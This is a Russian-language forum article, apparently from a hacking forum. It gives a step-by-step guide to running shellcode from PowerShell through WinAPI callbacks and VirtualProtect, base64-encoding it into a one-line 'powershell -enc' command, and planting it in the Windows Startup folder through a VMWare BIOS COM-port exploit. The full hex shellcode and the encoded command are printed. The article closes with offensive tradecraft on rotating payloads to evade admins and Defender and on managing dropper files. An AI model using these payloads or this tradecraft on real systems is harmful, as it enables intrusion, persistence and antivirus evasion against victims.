Для некоторых API здесь в конце указаны в скобках буквы A и W. Это означает что есть два варианта API с двумя разными именами.
Например EnumTimeFormats(A,W) означает, что у нас есть API с именем EnumTimeFormatsA и с именем EnumTimeFormatsW.
Символ "A" в конце API означает, что эта функция работает с Ansi строками, символ "W" означает работу с Wide(широкими) строками, то есть со строками unicode.
Тип обработки строк в нашем случае ни на что не влияет, единственный параметр который нам интересен в этих API это адрес функции коллбека, в котором мы размещаем наш шеллкод.
Все эти функции можно вызывать из Powershell, тем способом как будет показана далее на примере API EnumWindowsA.

Сначала сделаем в Powershell скрипте импорт API MessageBoxA, которая выведёт на экран сообщение, чтобы убедится в работоспособности этого способа.
Расмотрим такой Powershell скрипт:

Код: Скопировать в буфер обмена
Код:
$U=add-type -memberdefinition '[DllImport("user32.dll")]public static extern void MessageBoxA(int p1,string p2,string p3,int p4);'-name 'a'-namespace 'win32'-passthru;
$U::MessageBoxA(0,"Test msgbox value", "Test msgbox caption", 0)

Эти две строки являются мостом между двоичной исполняемой средой и средой Powershell.

Этот скрипт импортирует API с именем MessageBoxA из библиотеки user32.dll и вызывает её из Powershell скрипта.
Первую строку скрипта можно использовать как шаблон для импорта различных WINAPI, подставляя туда имя dll библиотеки из которой нужно импортировать и имя API с прописанными для неё соответствующими параметрами.
Библиотеку можно указывать как с расширением DLL (например user32.dll), так и без расширения (например user32), оба варианта работспособные.
Если WINAPI функция в качестве параметров использует какие-либо строки, то не забываем в конце имени API указать букву "A", если это ANSI строки, или букву "W" если строки в формате unicode.
Просто указать строку "MessageBox" будет ошибкой. WINAPI с именем MessageBox не существует, вместо неё существуют две отдельных версии функции: MessageBoxA и MessageBoxW

Пример вызова Winapi MessageBoxA представлен в файле run_msgbox.ps1 в папке vmware_bios_shellcode_payload
Набираем в командной строке:
Код: Скопировать в буфер обмена
powershell -executionpolicy unrestricted -file run_msgbox.ps1

Параметр "-executionpolicy unrestricted" разрешает нам временно включить разрешение на выполнение ps1 скриптов на системе, выполнение которых по умолчанию запрещено.
На экран будет выведен тестовый месседж бокс:

run_msgbox_winapi_ps.png



Далее, нам нужно будет таким же способом вызвать API EnumWindows из Powershell среды. Делается это так:

Код: Скопировать в буфер обмена
Код:
        $U=add-type -memberdefinition '[DllImport("user32.dll")]public static extern void EnumWindows(byte[]p1,int p2);' -name 'a3'-namespace 'win32'-passthru;
        $U::EnumWindows($byteArray,0)

Используя первую строку из предыдущего скрипта как шаблон мы прописали в ней:

1. Имя бибилиотеки user32.dll
2. Имя WINAPI EnumWindows
3. Два параметра: byte[] p1,int p2

Параметр p2 нам не интересен. Его мы всегда делаем равным нулю. Но на параметре p1 остановимся подробнее. Этот параметр представляет собой массив байт, в котором будет располагаться наш шеллкод.
В скрипте он представлен в виде переменной $byteArray
Следовательно, нам нужна функция наподобие той, которые мы делали для HTA файла, когда переводили EXE в формат двухсимвольных шестнадцатеричных строк. Эта функция должна выглядеть так:

Код: Скопировать в буфер обмена
$byteArray=h-h("3132333435......")

В скобках мы указываем строковое шестнадцатеричное представление файла с шеллкодом shell.bin
Этот файл в строковое представление мы переводим тем же способом, как мы делали это с EXE, размещая его внутри HTA файла. То есть с помощью утилиты certutil
В итоге, шеллкод в powershell скрипте будет прописываться в переменную $byteArray таким способом:

Код: Скопировать в буфер обмена
$a=h-h("48895c2408574883ec40488b05f77f00004833c4488944243065488b04256000000049b847657450726f634133d2488b4818488b4120488b08488b01488b78204863473c448b8c3888000000418b4c39204c894424204803cf4863014c390438741e6666666666660f1f840000000000486341044883c104ffc24c39043875f0418b4439244863d2488d0c07418b44391c4c0fbf0451488d0c0748b84c6f61644c6962724a631c81488d542420488bcf4803df488944242048c744242861727941ffd348b97573657233322e6448c74424286c6c000048894c2420488d4c2420ffd048b94d65737361676542488d54242048894c2420488bc848c74424286f784100ffd348b954455354004141004c8d44242f48894c242048b92041412041414100488d54242048894c242833c94533c9ffd049bb4578697450726f63488d542420488bcf48c7442428657373004c895c2420ffd383c9ffffd0488b4c24304833cce859000000488b5c24504883c4405fc3")

В hex строке в параметре функции "h-h" содержится полная копия файла shell64.bin
В переменной $a будет сохранена побайтовая расшифровка этой строки из шестнадцатеричных чисел
Итак, мы разместили шеллкод где-то в области памяти, принадлежащей процессу powershell.exe
Теперь нам нужно эту область памяти подготовить для успешного запуска шеллкода.

Раскодированный шеллкод который, сейчас помещён в переменную $a, пока ещё нельзя передавать в функцию EnumWindows
Эта область памяти не имеет прав на выполнение кода, то есть у неё не проставлен аттрибут PAGE_EXECUTE_READWRITE
Если мы передадим функции EnumWindows переменную $a то получим ошибку 0xC0000005 (ERROR_ACCESS_DENIED) - доступ запрещён.
Поэтому, нам нужно проставить правильные аттрибуты и права на ту область памяти, на которую ссылается переменная $a. То есть туда, куда прочитан наш шеллкод.
Сделаем мы это с помощью функции VirtualProtect, которую мы вызовем из повершелл скрипта тем же путём, как только что было описано для функций MessageBoxA и EnumWindows

Код: Скопировать в буфер обмена
Код:
$p=0;
$U=add-type -memberdefinition '[DllImport("kernel32")]public static extern void VirtualProtect(byte[]lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);' -name 'a2'-namespace 'win32'-passthru;
$U::VirtualProtect($a,[uint32]$a.length,0x40,[ref]$p);

Здесь так же по шаблону прописываем WINAPI функцию VirtualProtect и её параметры.
В отличие от двух предыдущих WINAPI функций у нас здесь первой строкой идёт вспомогательная переменная $p
Она нужна по той причине, что функция VirtualProtect возвращает значение в отдельную переменную. Этот последний параметр в её вызове выглядит как [ref]$p (аналогично указателю в C++ - там это запишется как "&p")
Указать его нулём нельзя, иначе функция VirtualProtect не сработает. Обязательно должен быть указан какой-либо корректный адрес памяти. Эта переменная $p и предназначена для этого.
В дальнейшем то значение, которое поместит VirtualALloc в переменную $p, нигде не используется. Она просто нужна для корректной работы функции VirtualProtect

Первым параметром функции VirtualProtect мы указали байтовый массив и именем $a, в который прочитан наш шеллкод
Вторым параметром мы указали его длину
Третьим параметром идёт magic_number 0x40 - он означает полные права на эту область памяти. Права на чтение, запись и выполнение кода.
Четвёртый параметр это ссылка на вспомогательную переменную $p, только что подробно разобранную.

Полностью готовый Powershell скрипт, запускающий тестовый шеллкод, находится в папке vmware_bios_shellcode_payload под именем test_shell.ps1
Запустить его можно командой "powershell -executionpolicy unrestricted -file test_shell.ps1" либо файлом runshell.bat
При успешном запуске появится тестовый меccседж бокс, который выводит шеллкод:

run_msgbox_from_ps_shellcode.png



Переходим к окончательному этапу - формированию команды повершелл, закодированной в bas64. Рассмотрим следующий скрипт:

Код: Скопировать в буфер обмена
Код:
                        $a=get-content test_shell.ps1
                        $MyEncodedScript = "powershell -enc ";
                        $MyEncodedScript += [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($a))
                        out-file -FilePath .\payload.bat -InputObject $MyEncodedScript -Encoding ASCII -Width 5000

Первой строкой мы считываем целиком в переменную $a скрипт с запуском шеллкода
В строках 2 и 3 мы формируем командную строку для запуска закодированного в кодировку base64 скрипта, то есть в командную строку вида "powershell -enc <script_encoded_in_base64>
Вызывая метод ToBase64String из класса Convert кодируем в base64 скрипт с шеллкодом, только что считанный в переменную $a
Четвёртой строкой сохраняем закдированный скрипт в файл payload.bat
Этот скрипт сохранён в папке vmware_bios_shellcode_payload под именем b64.ps1, файл b64_enc.bat это запуск этого скрипта через командную строку windows

Готово, у нас получилась однострочная, кодированная в base64 команда, которая содержит внутри себя 64 битный шеллкод. Выглядит конечный результат так:

Код: Скопировать в буфер обмена
powershell -enc ZgB1AG4AYwB0AGkAbwBuACAAaAAtAGgAewBbAEMAbQBkAGwAZQB0AEIAaQBuAGQAaQBuAGcAKAApAF0AUABhAHIAYQBtACgAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJABUAHIAdQBlACwAVgBhAGwAdQBlAEYAcgBvAG0AUABpAHAAZQBsAGkAbgBlAD0AJABUAHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABzACkAJABzAD0AJABzAC4AVABvAEwAbwB3AGUAcgAoACkAIAAtAHIAZQBwAGwAYQBjAGUAIAAnAFsAXgBhAC0AZgAwAC0AOQBcAFwALAB4AFwALQBcADoAXQAnACwAIgAkAHMAPQAkAHMALQByAGUAcABsAGEAYwBlACAAJwAwAHgAfABcAHgAfABcAC0AfAAsACcALAAnADoAJwAkAHMAPQAkAHMALQByAGUAcABsAGEAYwBlACAAJwBeADoAKwB8ADoAKwAkAHwAeAB8AFwAJwAsACIAOwBpAGYAKAAkAHMALgBMAGUAbgBnAHQAaAAgAC0AZQBxACAAMAApAHsALABAACgAKQA7AHIAZQB0AHUAcgBuAH0AaQBmACgAJABzAC4ATABlAG4AZwB0AGgAIAAtAGUAcQAgADEAKQB7ACwAQAAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABzACwAMQA2ACkAKQB9AGUAbABzAGUAaQBmACgAKAAkAHMALgBMAGUAbgBnAHQAaAAlADIAIAAtAGUAcQAgADAAKQAtAGEAbgBkACgAJABzAC4ASQBuAGQAZQB4AE8AZgAoACIAOgAiACkAIAAtAGUAcQAgAC0AMQApACkAewAsAEAAKAAkAHMALQBzAHAAbABpAHQAJwAoAFsAYQAtAGYAMAAtADkAXQB7ADIAfQApACcAfABmAG8AcgBlAGEAYwBoAC0AbwBiAGoAZQBjAHQAewBpAGYAKAAkAF8AKQB7AFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABfACwAMQA2ACkAfQB9ACkAfQBlAGwAcwBlAGkAZgAoACQAUwB0AHIAaQBuAGcALgBJAG4AZABlAHgATwBmACgAIgA6ACIAKQAgAC0AbgBlACAALQAxACkAewAsAEAAKAAkAHMALQBzAHAAbABpAHQAIAAnADoAKwAnAHwAZgBvAHIAZQBhAGMAaAAtAG8AYgBqAGUAYwB0AHsAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAeQB0AGUAKAAkAF8ALAAxADYAKQB9ACkAfQBlAGwAcwBlAHsALABAACgAKQB9AH0AWwBCAHkAdABlAFsAXQBdACQAYQA9AGgALQBoACgAIgA0ADgAOAA5ADUAYwAyADQAMAA4ADUANwA0ADgAOAAzAGUAYwA0ADAANAA4ADgAYgAwADUAZgA3ADcAZgAwADAAMAAwADQAOAAzADMAYwA0ADQAOAA4ADkANAA0ADIANAAzADAANgA1ADQAOAA4AGIAMAA0ADIANQA2ADAAMAAwADAAMAAwADAANAA5AGIAOAA0ADcANgA1ADcANAA1ADAANwAyADYAZgA2ADMANAAxADMAMwBkADIANAA4ADgAYgA0ADgAMQA4ADQAOAA4AGIANAAxADIAMAA0ADgAOABiADAAOAA0ADgAOABiADAAMQA0ADgAOABiADcAOAAyADAANAA4ADYAMwA0ADcAMwBjADQANAA4AGIAOABjADMAOAA4ADgAMAAwADAAMAAwADAANAAxADgAYgA0AGMAMwA5ADIAMAA0AGMAOAA5ADQANAAyADQAMgAwADQAOAAwADMAYwBmADQAOAA2ADMAMAAxADQAYwAzADkAMAA0ADMAOAA3ADQAMQBlADYANgA2ADYANgA2ADYANgA2ADYANgA2ADAAZgAxAGYAOAA0ADAAMAAwADAAMAAwADAAMAAwADAANAA4ADYAMwA0ADEAMAA0ADQAOAA4ADMAYwAxADAANABmAGYAYwAyADQAYwAzADkAMAA0ADMAOAA3ADUAZgAwADQAMQA4AGIANAA0ADMAOQAyADQANAA4ADYAMwBkADIANAA4ADgAZAAwAGMAMAA3ADQAMQA4AGIANAA0ADMAOQAxAGMANABjADAAZgBiAGYAMAA0ADUAMQA0ADgAOABkADAAYwAwADcANAA4AGIAOAA0AGMANgBmADYAMQA2ADQANABjADYAOQA2ADIANwAyADQAYQA2ADMAMQBjADgAMQA0ADgAOABkADUANAAyADQAMgAwADQAOAA4AGIAYwBmADQAOAAwADMAZABmADQAOAA4ADkANAA0ADIANAAyADAANAA4AGMANwA0ADQAMgA0ADIAOAA2ADEANwAyADcAOQA0ADEAZgBmAGQAMwA0ADgAYgA5ADcANQA3ADMANgA1ADcAMgAzADMAMwAyADIAZQA2ADQANAA4AGMANwA0ADQAMgA0ADIAOAA2AGMANgBjADAAMAAwADAANAA4ADgAOQA0AGMAMgA0ADIAMAA0ADgAOABkADQAYwAyADQAMgAwAGYAZgBkADAANAA4AGIAOQA0AGQANgA1ADcAMwA3ADMANgAxADYANwA2ADUANAAyADQAOAA4AGQANQA0ADIANAAyADAANAA4ADgAOQA0AGMAMgA0ADIAMAA0ADgAOABiAGMAOAA0ADgAYwA3ADQANAAyADQAMgA4ADYAZgA3ADgANAAxADAAMABmAGYAZAAzADQAOABiADkANQA0ADQANQA1ADMANQA0ADAAMAA0ADEANAAxADAAMAA0AGMAOABkADQANAAyADQAMgBmADQAOAA4ADkANABjADIANAAyADAANAA4AGIAOQAyADAANAAxADQAMQAyADAANAAxADQAMQA0ADEAMAAwADQAOAA4AGQANQA0ADIANAAyADAANAA4ADgAOQA0AGMAMgA0ADIAOAAzADMAYwA5ADQANQAzADMAYwA5AGYAZgBkADAANAA5AGIAYgA0ADUANwA4ADYAOQA3ADQANQAwADcAMgA2AGYANgAzADQAOAA4AGQANQA0ADIANAAyADAANAA4ADgAYgBjAGYANAA4AGMANwA0ADQAMgA0ADIAOAA2ADUANwAzADcAMwAwADAANABjADgAOQA1AGMAMgA0ADIAMABmAGYAZAAzADgAMwBjADkAZgBmAGYAZgBkADAANAA4ADgAYgA0AGMAMgA0ADMAMAA0ADgAMwAzAGMAYwBlADgANQA5ADAAMAAwADAAMAAwADQAOAA4AGIANQBjADIANAA1ADAANAA4ADgAMwBjADQANAAwADUAZgBjADMAIgApADsAJABwAD0AMAA7ACQAVQA9AGEAZABkAC0AdAB5AHAAZQAgAC0AbQBlAG0AYgBlAHIAZABlAGYAaQBuAGkAdABpAG8AbgAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHYAbwBpAGQAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABiAHkAdABlAFsAXQBsAHAAQQBkAGQAcgBlAHMAcwAsACAAVQBJAG4AdABQAHQAcgAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAE4AZQB3AFAAcgBvAHQAZQBjAHQALAAgAG8AdQB0ACAAdQBpAG4AdAAgAGwAcABmAGwATwBsAGQAUAByAG8AdABlAGMAdAApADsAJwAgAC0AbgBhAG0AZQAgACcAYQAyACcALQBuAGEAbQBlAHMAcABhAGMAZQAgACcAdwBpAG4AMwAyACcALQBwAGEAcwBzAHQAaAByAHUAOwAkAFUAOgA6AFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdAAoACQAYQAsAFsAdQBpAG4AdAAzADIAXQAkAGEALgBsAGUAbgBnAHQAaAAsADAAeAA0ADAALABbAHIAZQBmAF0AJABwACkAOwAkAFUAPQBhAGQAZAAtAHQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAGQAZQBmAGkAbgBpAHQAaQBvAG4AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdgBvAGkAZAAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAGIAeQB0AGUAWwBdAHAAMQAsAGkAbgB0ACAAcAAyACkAOwAnACAALQBuAGEAbQBlACAAJwBhADMAJwAtAG4AYQBtAGUAcwBwAGEAYwBlACAAJwB3AGkAbgAzADIAJwAtAHAAYQBzAHMAdABoAHIAdQA7ACQAVQA6ADoARQBuAHUAbQBXAGkAbgBkAG8AdwBzACgAJABhACwAMAApAA==

Нажимаем Win-R и запускаем окно командной строки, набрав cmd и нажав Enter
Сразу набрать эту команду в окне, появившися по нажатию Win-R, не получится. Потому что там можно ввести только максимум 255 байт. Поэтому мы и вызываем окно cmd, где такого ограничения нет.
Копируем эту команду, вставляем её в открывшееся окно cmd и запускаем - появится наш тестовый месседж бокс, говорящий о корректном срабатывании шеллкода.

run_shellcode_from_cmd_string.png



Всё, готово - мы сформировали командую строку, содержащую внутри себя шеллкод и запускающую его.

Эту команду можно встраивать в различные места операционной системы: в области автозагрузки, запуск команды вместо вызова справки, задавать её как обработчик для определённых типов файлов и т.д.
В нашем случае эта команда прописывается в отдельный батник, который будет забрасываться в папку автозагрузки.
После запуска батника payload.bat, содержащего вышеприведённую команду, мы увидим следующий результат:

shellcode_starting_after_reboot.png



Этот батник будет попадать в автозагрузку из VMWare эксплоита и срабатывать после рестарта или включения компьютера.
Теперь нам остаётся прописать только что получившийся батник payload.bat в исходник биоса bios.asm
Делается это ровно так же, кк мы делали это для EXE.
Так же с помощью утилиты certutil формируем файл payload_bat.asi и прописываем его в bios.asm

bios_shellcode.png



Так выглядит скомипилированный bios.rom с шеллкодом в hex-редакторе.
На скриншоте красным цветом обведён Reset Vector - место откуда начинается выполнение программного кода при включении компьютера или при нажатии кнопки Reset
Там находится команда JMP, которая переходит туда, где указана залёная стрелка.
По этому адресу находится код для работы с компортом, который отправляет в него пейлоад.
В самом конце этого кода виден наш пейлоад - закодированная в base64 команда повершелл.

Зачем нужно столько много вариантов пейлоадов.

Сейчас мы рассмотрели большое количество разнообразных вариантов пейлоадов - почему бы нам не выбрать какой-то один и пользоваться им в дальнейшем ?
Например, в самый разгар работы обнаруживаем, что на компах на которые мы рассылаем запрещён запуск rundll32.exe (реальный пример из практики).
И пейлоад у нас работает именно через rundll32.exe
Админы, видимо, где-то начитались что это небезопасный исполняемый файл, либо удалили его из системы, либо запретили запуск.
Запасного варианта нигде нет, приходится экстренно делать другой пейлоад запускающий DLL, через regsvr32.exe
Изготовив новый пейлоад обнаруживаем, что он палится дефендером - снова потери времени на чистку. Теряется драгоценное время, дорога каждая минута, и всё надо делать максимально быстро.
Поэтому всегда нужны заблаговременно заготовленные различные варианты пейлоадов, как можно сильнее отличающиеся друг от друга и проверенные на детекты.

Как организовать работу с пейлоадами, сделав всё максимально простыми средствами ? Берём все пейлоады, кладём их в папку RESERVE - это будет резерв пейлоадов на все непредвиденные ситуации.
Делаем рядом папку WORKED_OFF - это папка для отработанных пейлоадов, которрые не сработали по той или иной причине. В неё перемещаем несработавшие пейлоады из папки RESERVE.
Кроме того, приписываем к каждому пейлоаду в папке WORKED_OFF поток ":failure_description" в котором пишем краткое описание проблемы, по которой он не сработал.
Пейлоадам даём осмысленные имена, не aaa.hta, 12345.js и тому подобные, а, например, "regsvr32_downloader_webdav_pause_30_sek.hta"
И по названию сразу понятно, что речь идёт о hta файле, скачивающим DLL через webdav, запускающим его через regsvr32.exe c паузой в 30 секунд перед запуском.
Так же у пейлоадов не лишним будет заменить первую букву расширения файла например на символ "~', во избежание случайного запуска на своём компьютере.
Например так: regsvr32_downloader_webdav_pause_30_sek.~ta
И переименовывать с расширением hta только непосредственно перед применением - получается своеобразный предохранитель от случайного срабатывания на своей системе.


Работать с этими двумя папками лучше через Far Manager с установленным плагином для просмотра NTFS потоков. Выглядить это будет очень удобно, как показано на этих скриншотах:

ntfs_stream_failure_description.png



После копирования пейлоада в папку отработки WORKED_OFF меняем дату создания файла на текущую, чтобы можно потом было восстановить хронологию того, как шла работа.
Хотя бы для того, чтобы можно было проследить в каком порядке пейлоады попадали в отработку, какой из них использовался первым и какой последним.
Смена даты на текущую в командной строке делается командой copy со знаком "+", добавленным в конце имени файла:

Код: Скопировать в буфер обмена
copy filename+

Это аналог команды touch в линуксах. Команда набирается прямо в Far Manager, что очень удобно.
Так же для Far Manager есть ещё один удобный приём: набираем в командной строке точку и нажимаем Shift-Enter - откроется проводник с текущей открытой папкой,
из которой мы можем перетаскивать мышкой пейлоады в виртуалку или на дедик. Это быстрый способ перехода в проводник из фар менеджера.

Продолжение следует, в последующих статьях будет рассмотренно:

1. Работа через LPT порт вместо COM порта, ускорение передачи файлов из образа VMWare в папку автозагрузки
2. Запуск исполняемых файлов произвольного размера
3. Дополнительные особенности уязвимости путей, по которым сохраняются данные из COM и LPT портов
4. Развитие бесфайлового метода работы в VMWare эксплоите. Написание кросплатформенного шеллкода (на 32 и на 64 битные системы), а так же запуск в памяти исполняемого файла, содержащегося внутри шеллкода.
 
Сверху Снизу